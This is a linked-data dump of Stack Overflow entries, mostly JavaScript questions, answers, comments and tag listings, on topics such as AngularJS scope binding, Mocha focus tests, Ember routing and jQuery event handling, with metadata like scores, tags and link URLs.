has body: I make a demo which is working fine .I will explain the demo I have one text field and button .Whatever user type on text field then after click button it show the text in pop up screen .when user write any thing on pop up screen and submit button press it display on screen My Question that I take one model this ng-model="modaldata.passedValue" but when I take ng-model="passedValue" my functionality stop why ? I change every where is js also to passedValue instead of modaldata.passedValue Plunker http://plnkr.co/edit/PhXuubnDaYklqyoEdRtt?p=preview here is code $scope.modalClick = function() { //alert($scope.modaldata.passedValue); textValue = $scope.modaldata.passedValue; $rootScope.$broadcast('modalSubmit', { modalText: $scope.modaldata.passedValue // send whatever you want }); $modalInstance.dismiss('cancel'); }
type: Question
tagged with: angularjs-directive
answer count: 2
has comment: http://stackoverflow.com/comment/40276997
tagged with: javascript
tagged with: jquery
tagged with: angularjs-scope
has title: why the functionality not working when the model name is changed?
linked to: http://stackoverflow.com/q/17606936
score: 0
tagged with: angularjs

http://stackoverflow.com/q/25755659
type: Question
tagged with: javascript
tagged with: mocha.js
tagged with: jquery
upvote count: 4
accepted answer: http://stackoverflow.com/a/27537231
answer count: 1
downvote count: 0
favorite count: 0
tagged with: backbone.js
has body: I have a Backbone app written in CoffeeScript. I'm trying to use Mocha (with Chai and Sinon) to write tests for DOM-related behaviors, but it seems that hidden fixtures (I'm using js-fixtures now but I've also tried this unsuccessfully with a hidden '#fixtures' div) don't register certain DOM-related behaviors which makes testing certain types of DOM-related behaviors (seemingly) impossible. For example, my main app view has several subviews which are never rendered at the same time: when the app view renders subview A, it remembers the focused element of the currently active subview B (@_visibleView), saves that information on subview B, closes the subview B, and then renders subview A. _rememberFocusedElement: -&gt; focusedElement = $ document.activeElement if focusedElement focusedElementId = focusedElement.attr 'id' if focusedElementId @_visibleView?.focusedElementId = focusedElementId This works when I test it manually, but when I try to write unit tests for this behavior they fail because I can't set focus (e.g., via $(selector).focus()) to an element in a hidden div/iframe. (I have the same issue with functionality which listens for window resize events.) I thought that if I changed $ document.activeElement to @$ ':focus" I might get different results, but that doesn't fix the issue. Here is what the relevant parts of my Mocha (BDD) tests look like. This spec will print TEXTAREA to the console and then undefined, indicating that there is a textarea with id='transcription' but I can't set focus to it. beforeEach (done) -&gt; fixtures.path = 'fixtures' callback = =&gt; @$fixture = fixtures.window().$ "&lt;div id='js-fixtures-fixture'&gt;&lt;/div&gt;" @appView = new AppView el: @$fixture done() describe 'GUI stuff', -&gt; it 'remembers the currently focused element of a subview', (done) -&gt; @appView.mainMenuView.once 'request:formAdd', =&gt; @appView._visibleView.$('#transcription').focus() console.log @appView._visibleView.$('#transcription').prop 'tagName' c…
type: AnsweredQuestion
score: 4
has title: Mocha tests on focus-related behaviors (Backbone/CoffeeScript app)
has answer: http://stackoverflow.com/a/27537231
tagged with: coffeescript

http://stackoverflow.com/comment/40446830
type: QuestionComment
type: Comment
has text: Code Lines to look at in particular are now LINE 404 function changeRangeOf & Line 437 function timeFrameHeadingNumber()
comment on: http://stackoverflow.com/q/25850326
score: 0

http://stackoverflow.com/a/25867899
type: Answer
answers question: http://stackoverflow.com/q/25867254
has body: Try This :) $('html').keydown(function(e) { if(e.keyCode == 32){ // stop the music player } }); $('input, textarea').keydown(function(e) { e.stopPropagation(); });
score: 0

http://stackoverflow.com/q/25856039
favorite count: 0
tagged with: ember.js
type: AnsweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/40463379
downvote count: 0
has answer: http://stackoverflow.com/a/26120118
accepted answer: http://stackoverflow.com/a/26120118
has title: EmberJS console error- Error while loading route: undefined
type: Question
tagged with: javascript
has body: I am a beginner in EmberJS. It would be great if you can give a detailed explanation. I have api end point for fetching the products which expects the GET request to the following url- /api/products?date=2014-09-16&amp;meal_type=2 Here, date and meal_type are the query parameters. My router.js looks like this- App.Router.map(function() { this.resource('products', { path: '/products/date/:date/meal/:mealType'} ); }); App.Router.reopen({ location: 'history' }); The reason for this dynamic route is that the url of my application appears to be in the same format. routes/product.js looks like- App.ProductsRoute = Ember.Route.extend({ model: function(params) { return this.store.findQuery('product', {date: params.date, meal_type: params.mealType}); }, queryParams: { date: { refreshModel: true }, mealType: { refreshModel: true } }, }); controller/products_controller.js App.ProductsController = Ember.ArrayController.extend({ queryParams: ['date', 'meal_type'], date: null, meal_type: null, products: function() { return this.get('model.content'); }.property() I am getting an error on browser console- Error while loading route: undefined This appears to be in line ember.js?body=1:3522. Any help would be highly appreciated. Thanks
upvote count: 2
tagged with: ember-rails
answer count: 1
has comment: http://stackoverflow.com/comment/40502829
has comment: http://stackoverflow.com/comment/40466761

http://stackoverflow.com/comment/40339945
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25791915
has text: `var rng = _.range(arr[0], arr[1] + 1, 1)` seems to be the most reasonable solution. I mean, you could do `_.range.apply(null, arr).concat(arr[1] + 1)` but that isn't really any better, is it?

http://stackoverflow.com/a/25783779
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/43547938
has body: What is used JQuery Version? jQuery 2.x does not support Internet Explorer 6, 7, or 8. Check the version of JQuery please. Version Checking! Check your html(index.html) file &lt;script type="text/javascript" charset="utf-8" src="/lib/jquery/js/jquery-1.11.1.min.js"&gt;&lt;/script&gt; File name have version name like "jquery-1.11.1.min.js" In this case, version is 1.X, then this version support IE 8. If your script link(src) don't have version like "jqeury.js", Open the file. You can find the comment of version like below code. /*! jQuery v1.11.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25783362
has comment: http://stackoverflow.com/comment/40325485
accepted answer of: http://stackoverflow.com/q/25783362
type: Answer

amd
tags question: http://stackoverflow.com/q/25752133
type: Tag
tags question: http://stackoverflow.com/q/25867893
tag name: amd

http://stackoverflow.com/q/25813752
has body: Trying to check the document for any string in a given array and replace it with something matched string. I tried just looping through the array and replacing any match from that, but with my long array that locks up the document for a good amount of time. Example: array.forEach(function(v) { console.log(v); var html = '' + v + ''; var re = new RegExp(v, "gi"); document.body.innerHTML = document.body.innerHTML.replace(re, html) })
has comment: http://stackoverflow.com/comment/40380156
has answer: http://stackoverflow.com/a/25813884
tagged with: regex
accepted answer: http://stackoverflow.com/a/25813884
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40380979
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40380775
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40380256
possible better answer: http://stackoverflow.com/a/25813963
has title: Check if document contains any string from array and replace it
has answer: http://stackoverflow.com/a/25813963

http://stackoverflow.com/comment/40484658
score: 0
type: Comment
type: QuestionComment
has text: Please provide all other data about HTTP response (status code, body content, headers, etc...), I have a clue about what is the problem, but I need that data to confirm
comment on: http://stackoverflow.com/q/25870390

http://stackoverflow.com/a/25867927
has comment: http://stackoverflow.com/comment/40480988
has comment: http://stackoverflow.com/comment/40480265
downvote count: 0
has comment: http://stackoverflow.com/comment/40496600
has comment: http://stackoverflow.com/comment/40490523
has comment: http://stackoverflow.com/comment/40496984
answers question: http://stackoverflow.com/q/25867626
type: Answer
has comment: http://stackoverflow.com/comment/40480523
has comment: http://stackoverflow.com/comment/40480368
upvote count: 1
has body: You can use scrollTo: casper.start('http://yoursite.com', function() { this.scrollTo(Xvalue, Yvalue); }); or even scrollBottom casper.start('http://yoursite.com', function() { this.scrollBottom(); }); In that case you would have to wait until the javascript load the page and repeat that as many time as you need.
score: 1

http://stackoverflow.com/q/25742645
upvote count: 2
has title: Clicking on node in dagre-d3
type: Question
has answer: http://stackoverflow.com/a/25888461
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25888461
answer count: 1
downvote count: 0
tagged with: dagre-d3
favorite count: 0
tagged with: d3.js
type: AnsweredQuestion
has body: I'm using degre-d3 and I'm having problems getting the node data for the clicked node. I have a event when clicked but the d3.select(this) doesn't seem to get me relevant data (I would like to have the node name, label and additional object data if possible. app.controller "DashboardElementShowController", ($scope, DashboardElementIndexService) -> init_app = -> # Create a new directed graph g = new dagreD3.Digraph() g.addNode "bpitt", label: "html Brad Pitt test" g.addNode "hford", label: "Harrison Ford" g.addNode "lwilson", label: "Luke Wilson" g.addNode "kbacon", label: "Kevin Bacon" g.addEdge null, "bpitt", "kbacon", g.addEdge null, "hford", "lwilson", g.addEdge null, "lwilson", "kbacon", renderer = new dagreD3.Renderer().edgeInterpolate("cardinal") .edgeTension(0.8) renderer.edgeInterpolate('linear'); renderer.run g, d3.select("svg g") d3.select("svg g").on("click", (d, i, k) -> console.log d3.select(this) # doesn't seem to have relevant info I need ) init_app() Edit: 10.09.2014: Here it says I have to override renderer.drawNodes method: https://github.com/cpettitt/dagre-d3/issues/67 This is the code specified: constructor: @renderer.drawNodes @_drawNodes().bind @ _drawNodes: -> oldDrawNodes = @renderer.drawNodes() (graph, svg) -> # catch drawed nodes svgNodes = oldDrawNodes graph, svg svgNodes.on 'click', (nodeId) -> console.log 'node clicked', nodeId I'm not sure how and where I should override with this code ...
score: 2

http://stackoverflow.com/comment/40336772
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25789139
score: 0
has text: @LalitAgarwal thanks for the hint ! worked actually :) put it as an answer and i'll accept it !

http://stackoverflow.com/a/25845627
upvote count: 1
has comment: http://stackoverflow.com/comment/40446247
has body: created_at's formatting isn't compatible. Date to format either as Date object, milliseconds (string or number) or various ISO 8601 datetime string formats (e.g. yyyy-MM-ddTHH:mm:ss.sssZ and its shorter versions like yyyy-MM-ddTHH:mmZ, yyyy-MM-dd or yyyyMMddTHHmmssZ). If no timezone is specified in the string input, the time is considered to be in the local timezone. Cited from https://docs.angularjs.org/api/ng/filter/date for example "2008-04-25T00:00:00" would work.
answers question: http://stackoverflow.com/q/25845202
has comment: http://stackoverflow.com/comment/40465026
has comment: http://stackoverflow.com/comment/40438469
downvote count: 0
type: Answer
score: 1

http://stackoverflow.com/q/25744780
has answer: http://stackoverflow.com/a/25744899
tagged with: javascript
type: AnsweredQuestion
has body: I am working in an app built with NodeJS. I am using modules, here is my code so far: CODE: PROGRAM.JS var path = process.argv[2]; var ext = '.' + process.argv[3]; var prsFiles = require('./fpmod'); function callback(err, files) { if(!err) { success(ext, files); } else { throw ('uhoh there was an error! :/'); } } prsFiles.process(path, ext, callback); CODE: FPMOD.JS var fs = require('fs'); var pathMod = require('path'); var i = 0; function success(ext, files) { for(i; i &lt; files.length; i++) { // console.log('File comes in as: ' + files[i] + ' and we\'re filtering on .' + ext); var currentFile = files[i]; var currentFileExt = pathMod.extname(currentFile); // console.log('grabbed ext is: ' + currentFileExt); if(ext) { if(ext === currentFileExt) { console.log(currentFile); } } else { console.log(currentFile); } } } function processFiles(path, ext, callback) { var success = success; fs.readdir(path, callback); } exports.process = processFiles; The error I am getting says that the success function is not defined. Why is that? If my understanding of function scopes is correct, it should have access to the success function! What am I getting wrong?
has title: Issue with function scope - function is undefined
has comment: http://stackoverflow.com/comment/40255028
has answer: http://stackoverflow.com/a/25744812
type: Question
answer count: 2
tagged with: node.js
score: 0
accepted answer: http://stackoverflow.com/a/25744812
possible better answer: http://stackoverflow.com/a/25744899

http://stackoverflow.com/comment/40302215
has text: @RahaelDDL Or :) `$myElement.find(".bar:hidden");`
type: Comment
comment on: http://stackoverflow.com/a/25771041
score: 1
type: AnswerComment

http://stackoverflow.com/comment/40244146
type: QuestionComment
has text: use a combination of key/value data store and indexdb to build your solution...essential parameters like DB version / creation date, etc can go in the key/value store and the actual data should go in the indexDB
comment on: http://stackoverflow.com/q/25724335
score: 0
type: Comment

http://stackoverflow.com/comment/40327587
comment on: http://stackoverflow.com/a/25784340
type: Comment
has text: your result what I want to do, but I wonder it can be done without jquery, please explain me.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/46172594
type: Comment
has text: @DmitriAlgazin Check this Updated ***FIDDLE LINK*** http://jsfiddle.net/RajamohanShilpa/z9daLbLm/13/
comment on: http://stackoverflow.com/a/25866322
type: AnswerComment
score: 0

http://stackoverflow.com/q/25843135
has title: How to deal with big files containing lots of coordinates with OpenLayers v2.13?
type: Question
tagged with: openstreetmap
has comment: http://stackoverflow.com/comment/40509808
has comment: http://stackoverflow.com/comment/40434425
has comment: http://stackoverflow.com/comment/40485166
tagged with: javascript
downvote count: 0
favorite count: 0
tagged with: openlayers
has body: I have on OpenStreetMaps map with a vector layer containing all USA's states shapes. These coordinates are stored in a MongoDB database, and when the user wants to display the map, my server (running under Node.js) computes a GeoJSON file with these coordinates and sends it to the client. The problem I have is that this file can be very big (~20 Mo) because these shapes are very detailed so there are a lot of coordinates, even for one state. Even when gzipped the file remains big (~3-5 Mo). I can't send such a big file, for bandwidth and Javascript memory considerations. So I'm looking for a scenario that would allow me to send all these coordinates with a reasonable bandwidth and browser memory usage. Any suggestions? Thanks
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40457038
has comment: http://stackoverflow.com/comment/40447720
tagged with: node.js
answer count: 0
score: 1
upvote count: 1
tagged with: geojson

http://stackoverflow.com/comment/56814504
type: Comment
comment on: http://stackoverflow.com/a/28692248
score: 1
has text: This is definitely a more generic solution without touching the plugin files.
type: AnswerComment

http://stackoverflow.com/q/25815505
downvote count: 0
answer count: 1
tagged with: javascript
has title: How can I persist sibling ui-views when changing state?
favorite count: 0
has body: I have 2 ui-view directives in my application. One contains subnavigation and the other is the actual page content. My subnavigation is a tree structure, and when you click on an end node (or a leaf) should be the only time the content view gets updated. Whenever you click non-leaf nodes in the subnavigation, I would like the content view to stay the same while the subnavigation view changes. What is happening is whenever I switch to a state that does not define one of the views, the view gets cleared out. I want it to stay how it was previous to me changing state. Has anyone accomplished this? Code: Here is my route setup. Note that State1 only should update the subnav view and State2 should only update the content view. $stateProvider .state('State1', { url: '/State1', views: { "subnav": { templateUrl: "views/subnav.html", controller: "SubNavController" } } }) .state('State2', { url: '/State2', views: { "content": { template: " State 2 " } } }); Here is a plnkr of what is is currently doing: http://plnkr.co/edit/TF7x5spB8zFLQPzrgZc9?p=preview
tagged with: angularjs
upvote count: 1
has answer: http://stackoverflow.com/a/25819266
type: AnsweredQuestion
tagged with: angular-ui-router
score: 1
accepted answer: http://stackoverflow.com/a/25819266
type: Question
tagged with: angularjs-routing

http://stackoverflow.com/q/25819887
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40406014
has comment: http://stackoverflow.com/comment/40406954
score: 2
tagged with: google-chrome-extension
has body: I do not specifically set the height for the popup window for my Google Chrome Extension. It automatically shows the vertical scrollbar when its dynamically generated content reaches about 600px in height. This seems to work fine on my desktop computer. But I just happened to test my extension on a screen with a high DPI setting (i.e. 150%), and when I clicked my extension's badge icon the popup window opened up past the display height, all the way off the screen, without showing the vertical scroll bar. Is there any way to address this? EDIT: My CSS for the popup page itself is just this: html,body{ font-family: "Segoe UI", Tahoma, Geneva, sans-serif; min-width: 24em; -webkit-user-select: none; } EDIT: I was able to make a screenshot of what I see:
has comment: http://stackoverflow.com/comment/91490957
downvote count: 0
has comment: http://stackoverflow.com/comment/91529011
favorite count: 0
has comment: http://stackoverflow.com/comment/91512719
has comment: http://stackoverflow.com/comment/91521912
has comment: http://stackoverflow.com/comment/40394750
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/40394651
tagged with: css
has comment: http://stackoverflow.com/comment/40405524
has comment: http://stackoverflow.com/comment/40396049
has comment: http://stackoverflow.com/comment/40394669
has comment: http://stackoverflow.com/comment/40401980
has title: My Chrome Extension's popup window is too large for a small screen. How to address this?
has comment: http://stackoverflow.com/comment/40401855
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/40403840
answer count: 0
has comment: http://stackoverflow.com/comment/40394112
has comment: http://stackoverflow.com/comment/40394786
tagged with: javascript

http://stackoverflow.com/a/25718240
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40204742
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/40239928
score: 1
has body: you can do that by creating your own function to create the banner by checking the User Agent, though it will take some time to style it. other ready solution is using jQuery plugin smartbanner, though the UI is a little bit different from the safari browser in iOS. It can't detect whether your user already installed your apps or not, so the button will always says either Install or other string that you type
accepted answer of: http://stackoverflow.com/q/25718095
answers question: http://stackoverflow.com/q/25718095
upvote count: 1

http://stackoverflow.com/comment/40437762
type: QuestionComment
score: 1
has text: And what constraints do you have? Please, take some time to compose a question that includes the relevant detail.
comment on: http://stackoverflow.com/q/25845126
type: Comment

http://stackoverflow.com/comment/40501681
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25876148
has text: I'm not asking the definition of 'singleton pattern' but the reason why the code in the question could be singleton.
score: 0

http://stackoverflow.com/comment/40195635
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25713441
has text: Can't you just use the selector `$( ".layout-table .First td" )`? Also, please could you make the question clearer? I'm not exactly sure what you're asking.

http://stackoverflow.com/q/25727627
type: AnsweredQuestion
tagged with: this
downvote count: 0
tagged with: javascript
score: 1
favorite count: 0
type: Question
has body: I'm using the Polymer framework and I really enjoy it. But one thing I don't get is the confusion with the this-pointer. When functions get called from for example a button in your custom component the this-pointer points to the custom component. Very logical. But when your function within a custom component is called from something external, for example a callback from an library or a call from another component the this-pointer is something totally different. Why is it in this case not pointing to the custom component where the function is in?
accepted answer: http://stackoverflow.com/a/25731089
upvote count: 1
answer count: 1
tagged with: polymer
tagged with: this-pointer
has answer: http://stackoverflow.com/a/25731089
has title: Polymer this-pointer

http://stackoverflow.com/comment/40242064
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25736042
score: 3
has text: The frequency response of most consumer grade microphones and speakers typically starts to fall off at 15 kHz and above.

http://stackoverflow.com/q/25831174
has comment: http://stackoverflow.com/comment/40413892
has comment: http://stackoverflow.com/comment/40413862
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40413119
has answer: http://stackoverflow.com/a/25832428
has comment: http://stackoverflow.com/comment/40413402
favorite count: 0
has comment: http://stackoverflow.com/comment/40413431
has comment: http://stackoverflow.com/comment/40413810
linked to: http://stackoverflow.com/q/1014861
has comment: http://stackoverflow.com/comment/40413800
has body: On hover the link I want the submit button push back so the submit button doesn't poke through the comment box (which is activated on hover of the cursor). I made something that worked, but only once. Can anyone help me? I want to perform this every time on hover of the submit link, not just once. $( function hideSubmit() { $('.submit').parent().closest('.submit').on("mouseover", function() { $('.submit').css("position", "relative"); $('.submit').css("z-index", "-1"); }); $('.commentBox').on("mouseleave", function() { $('.submit').css("position", "relative"); $('.submit').css("z-index", "999"); }); }); UPDATE: jsfiddle.net/wmygmbc4 Improve question: I want to be able to click on the submit button but the hidden hover comment box is blocking it. Therefore I used JQuery to fix this. CSS does not cut the job because it does not support allow me to select parent class only. But I want to show the submit button when the mouse is not on the sign up link. And if I hover on sign up link I should see the complete hover box on top of the submit button.
has comment: http://stackoverflow.com/comment/40412582
has comment: http://stackoverflow.com/comment/40413141
downvote count: 2
has comment: http://stackoverflow.com/comment/40413873
has comment: http://stackoverflow.com/comment/40413122
upvote count: 1
has comment: http://stackoverflow.com/comment/40413638
tagged with: css
has comment: http://stackoverflow.com/comment/40413750
has comment: http://stackoverflow.com/comment/40413735
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25832428
type: Question
has title: The on mouseover only works once? JQuery
has comment: http://stackoverflow.com/comment/40412358
has comment: http://stackoverflow.com/comment/40412964
has comment: http://stackoverflow.com/comment/40413037
answer count: 1
tagged with: javascript
tagged with: jquery
score: -1
has comment: http://stackoverflow.com/comment/40413527
has comment: http://stackoverflow.com/comment/40413114
has comment: http://stackoverflow.com/comment/40412905
has comment: http://stackoverflow.com/comment/40413834
has comment: http://stackoverflow.com/comment/40414004
tagged with: jquery-events
has comment: http://stackoverflow.com/comment/40413833

http://stackoverflow.com/q/25831687
downvote count: 0
tagged with: javascript
has body: The webapp is a .Net owin app and i am wondering if its possible to add some meta tags to HTML page with a date for which the browsers should download all content again and ignore cache. I am hoping that I could put the release date into the HTML page and then the browser wont use any resources it has in cache older this this date. What other options are there? Do i need to maintain some cache header value on each javascript file?
has title: How to tell browser to not use cached resources from before date x
tagged with: asp.net
favorite count: 0
answer count: 0
type: UnansweredQuestion
upvote count: 1
score: 1
type: Question

http://stackoverflow.com/q/25809068
has body: I have a html.beginform which is used to filter a set of data when submitted and a separate form which opens a modal where those filtered results are displayed. Rather than clicking a button to submit the filter and then another to load the modal i would like to use jquery/ajax to do both from one button. Here is what i have so far... Filter form: @using (Html.BeginForm("Index", "Home", FormMethod.Get)) { @Html.TextBox("filtername") } Filter Controller Method ( Home/Index) public ActionResult Index(string filtername) { var filterresults = from m in db.UserInfoes select m; filterresults = filterresults.Where(x => x.UserCode.ToString().Contains(filtername)).OrderBy(x => x.UserCode); CheckDownloaded(); return View(filterresults); } Open Modal Form: Enter Code, IMEI or Phone Number: Open Modal JQuery/Ajax: (Currently opens modal but data has not been submitted as table isn't shown.) $("#formid").submit(function () { $.ajax({ url: "Home", data: $(this).serialize() }).done(function (response) { $('#basicModal2').modal('show'); }); return false; // prevent the form submission }); So how can I make the Open Modal Form do the action of the html.beginform before opening the modal? (there by only using 1 text box / button to do both actions? Could someone explain how bearing in mind ive never used ajax before?
tagged with: javascript
has comment: http://stackoverflow.com/comment/40436210
has comment: http://stackoverflow.com/comment/40377864
tagged with: jquery
tagged with: ajax
tagged with: twitter-bootstrap
tagged with: http://stackoverflow.com/tag/html
answer count: 0
has title: JQuery Ajax - Submit data filter before opening modal
type: UnansweredQuestion
score: 0
type: Question

http://stackoverflow.com/a/25803623
accepted answer of: http://stackoverflow.com/q/25803554
answers question: http://stackoverflow.com/q/25803554
upvote count: 4
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 4
has body: Because it considers the output to be too long to be shown in one line - and does it a bit incorrectly. That's how the key function looks in Node 0.10.31 (current version at the moment): function reduceToSingleString(output, base, braces) { var numLinesEst = 0; var length = output.reduce(function(prev, cur) { numLinesEst++; if (cur.indexOf('\n') &gt;= 0) numLinesEst++; return prev + cur.length + 1; }, 0); if (length &gt; 60) { return braces[0] + (base === '' ? '' : base + '\n ') + ' ' + output.join(',\n ') + ' ' + braces[1]; } return braces[0] + base + ' ' + output.join(', ') + ' ' + braces[1]; } Source. Don't ask me what the heck numLinesEst variable is doing here. The point is, when calculating the length of each element's representation, the function doesn't take into account all the 'color' metacharacters - and there's plenty of them. That's how the length becomes much greater than '[ 1, 2, 3, 4, 5, 6 ]''s one. That's what you got now. Now that's the same function in the most recent numbered release tag (0.11.13): function reduceToSingleString(output, base, braces) { var length = output.reduce(function(prev, cur) { return prev + cur.replace(/\u001b\[\d\d?m/g, '').length + 1; }, 0); if (length &gt; 60) { return braces[0] + (base === '' ? '' : base + '\n ') + ' ' + output.join(',\n ') + ' ' + braces[1]; } return braces[0] + base + ' ' + output.join(', ') + ' ' + braces[1]; } Source. The difference is obvious - all the metacharacters are excluded when the string's length is calculated. Now guess what: that replace op was introduced into the source code by this commit from March, 2013, closing this issue. And yes, because this issue is of very low priority, its fix is not yet in the production.

http://stackoverflow.com/comment/40227513
comment on: http://stackoverflow.com/q/25730482
has text: or try to use the onKeyUp event.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40381752
type: AnswerComment
has text: I updated the main question with the latest code. Now I'm just having trouble getting the total to show in the view and keeping that number updated. Any help would be much appreciated. Thanks.
type: Comment
comment on: http://stackoverflow.com/a/25799738
score: 0

http://stackoverflow.com/a/25871787
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25871191
has body: In this case, you need to use ngModel (two-way binding) instead of ngChecked (one-way binding): ng-model="$parent.somevar" See JSFiddle
upvote count: 1

http://stackoverflow.com/a/25788214
has comment: http://stackoverflow.com/comment/40334788
answers question: http://stackoverflow.com/q/25787569
has comment: http://stackoverflow.com/comment/40335352
has comment: http://stackoverflow.com/comment/40333882
type: AcceptedAnswer
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25787569
has comment: http://stackoverflow.com/comment/40338817
has body: It looks like you don't so much want so much to flatten this object as just extract the ticker values and add the market information to the individual items. For that, I think you're in need of an ad-hoc approach: var items = [], cur, ticker, item; for (var cur in data[0]) { ticker = data[0][cur].ticker; item = {}; ["change", "last", "high", "low"].forEach(function (key) { item[key] = ticker[key]; }); item.volume = ticker.vol; item.market = cur; item.currency = cur.substring(3); items.push(item); } Working jsfiddle
has comment: http://stackoverflow.com/comment/40333683
has comment: http://stackoverflow.com/comment/40335923
has comment: http://stackoverflow.com/comment/40335108

http://stackoverflow.com/comment/40416703
comment on: http://stackoverflow.com/a/25796104
type: Comment
has text: I am guessing the record has a reference to its store which has a reference back to its records. Why do you need to copy the record? You can always create a new record from its raw data if you still need to do this...
score: 1
type: AnswerComment

http://stackoverflow.com/a/25816923
has comment: http://stackoverflow.com/comment/40398363
type: Answer
score: 4
has body: The concept is the same as what I referenced in my comment above. See the function orderOptgroups below: $(document).ready(function() { orderOptgroups(); }); function orderOptgroups() { $("select").each(function() { var $select = $(this); var $groups = $select.find("optgroup"); $groups.remove(); $groups = $groups.sort(function(g1, g2) { return g1.label.localeCompare(g2.label); }); $select.append($groups); $groups.each(function() { var $group = $(this); var options = $group.find("option"); options.remove(); options = options.sort(function(a, b) { return a.innerHTML.localeCompare(b.innerHTML); }); $group.append(options); }); }); } select { width:100px; height:250px; } Label C Label A Label B Label F Label D Label E Label X Label Y Label Z Label 9 Label 8 Label 7 Label 5 Label 6 Label 4 Label 3 Label 1 Label 2
has comment: http://stackoverflow.com/comment/40404159
has comment: http://stackoverflow.com/comment/40389054
upvote count: 4
answers question: http://stackoverflow.com/q/25816434
accepted answer of: http://stackoverflow.com/q/25816434
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40389718
has comment: http://stackoverflow.com/comment/40403791

regex
tags question: http://stackoverflow.com/q/25793833
tags question: http://stackoverflow.com/q/25766109
tags question: http://stackoverflow.com/q/25791295
tags question: http://stackoverflow.com/q/25846961
tags question: http://stackoverflow.com/q/25816676
tags question: http://stackoverflow.com/q/25788081
tags question: http://stackoverflow.com/q/25731716
tags question: http://stackoverflow.com/q/25783050
tags question: http://stackoverflow.com/q/25840438
tags question: http://stackoverflow.com/q/25713387
tags question: http://stackoverflow.com/q/25866631
tags question: http://stackoverflow.com/q/25815676
tags question: http://stackoverflow.com/q/25823963
tags question: http://stackoverflow.com/q/25743430
tags question: http://stackoverflow.com/q/25868057
tag name: regex
tags question: http://stackoverflow.com/q/25816270
tags question: http://stackoverflow.com/q/25742862
tags question: http://stackoverflow.com/q/25762048
tags question: http://stackoverflow.com/q/25857035
tags question: http://stackoverflow.com/q/25799238
tags question: http://stackoverflow.com/q/25834893
tags question: http://stackoverflow.com/q/25720660
tags question: http://stackoverflow.com/q/25857515
tags question: http://stackoverflow.com/q/25798551
tags question: http://stackoverflow.com/q/25775961
tags question: http://stackoverflow.com/q/25713060
tags question: http://stackoverflow.com/q/25776973
tags question: http://stackoverflow.com/q/25842910
tags question: http://stackoverflow.com/q/25784058
tags question: http://stackoverflow.com/q/25723434
tags question: http://stackoverflow.com/q/25765587
tags question: http://stackoverflow.com/q/25775439
tags question: http://stackoverflow.com/q/25845485
tags question: http://stackoverflow.com/q/25752905
tags question: http://stackoverflow.com/q/25776882
tags question: http://stackoverflow.com/q/25838068
tags question: http://stackoverflow.com/q/25833058
tags question: http://stackoverflow.com/q/25728721
tags question: http://stackoverflow.com/q/25851583
tags question: http://stackoverflow.com/q/25796289
tags question: http://stackoverflow.com/q/25868463
tags question: http://stackoverflow.com/q/25836682
tags question: http://stackoverflow.com/q/25746304
tags question: http://stackoverflow.com/q/25767039
tags question: http://stackoverflow.com/q/25742807
tags question: http://stackoverflow.com/q/25813752
tags question: http://stackoverflow.com/q/25820276
tags question: http://stackoverflow.com/q/25845556
tags question: http://stackoverflow.com/q/25714590
tags question: http://stackoverflow.com/q/25728367
tags question: http://stackoverflow.com/q/25722182
tags question: http://stackoverflow.com/q/25861368
tags question: http://stackoverflow.com/q/25715585
tags question: http://stackoverflow.com/q/25803271
tags question: http://stackoverflow.com/q/25858752
tags question: http://stackoverflow.com/q/25783693
tags question: http://stackoverflow.com/q/25847774
tags question: http://stackoverflow.com/q/25809000
tags question: http://stackoverflow.com/q/25864064
tags question: http://stackoverflow.com/q/25821622
tags question: http://stackoverflow.com/q/25757309
tags question: http://stackoverflow.com/q/25838291
tags question: http://stackoverflow.com/q/25823374
tags question: http://stackoverflow.com/q/25715689
tags question: http://stackoverflow.com/q/25832886
tags question: http://stackoverflow.com/q/25873481
tags question: http://stackoverflow.com/q/25751886
tags question: http://stackoverflow.com/q/25756104
tags question: http://stackoverflow.com/q/25837955
tags question: http://stackoverflow.com/q/25733600
tags question: http://stackoverflow.com/q/25803490
tags question: http://stackoverflow.com/q/25853739
tags question: http://stackoverflow.com/q/25793070
tags question: http://stackoverflow.com/q/25742949
tags question: http://stackoverflow.com/q/25823914
tags question: http://stackoverflow.com/q/25814894
tags question: http://stackoverflow.com/q/25752699
tags question: http://stackoverflow.com/q/25853433
tags question: http://stackoverflow.com/q/25752775

http://stackoverflow.com/comment/40218304
has text: @pencilsandpixels You might also need to consider [forcing the MIME type](http://stackoverflow.com/a/4064468/921836) (I didn't see this being performed already in your code). Also, if you're invoking a .php file directly while leveraging wp-blog-header.php, you might first want to define [wp_use_themes as false](http://wordpress.stackexchange.com/questions/12919/what-is-the-constant-wp-use-themes-for); otherwise, Wordpress might see that your request isn't a valid page request and give you the 404 you're seeing.
type: Comment
comment on: http://stackoverflow.com/q/25723620
type: QuestionComment
score: 1

http://stackoverflow.com/q/25864505
tagged with: angularjs
possible better answer: http://stackoverflow.com/a/25864590
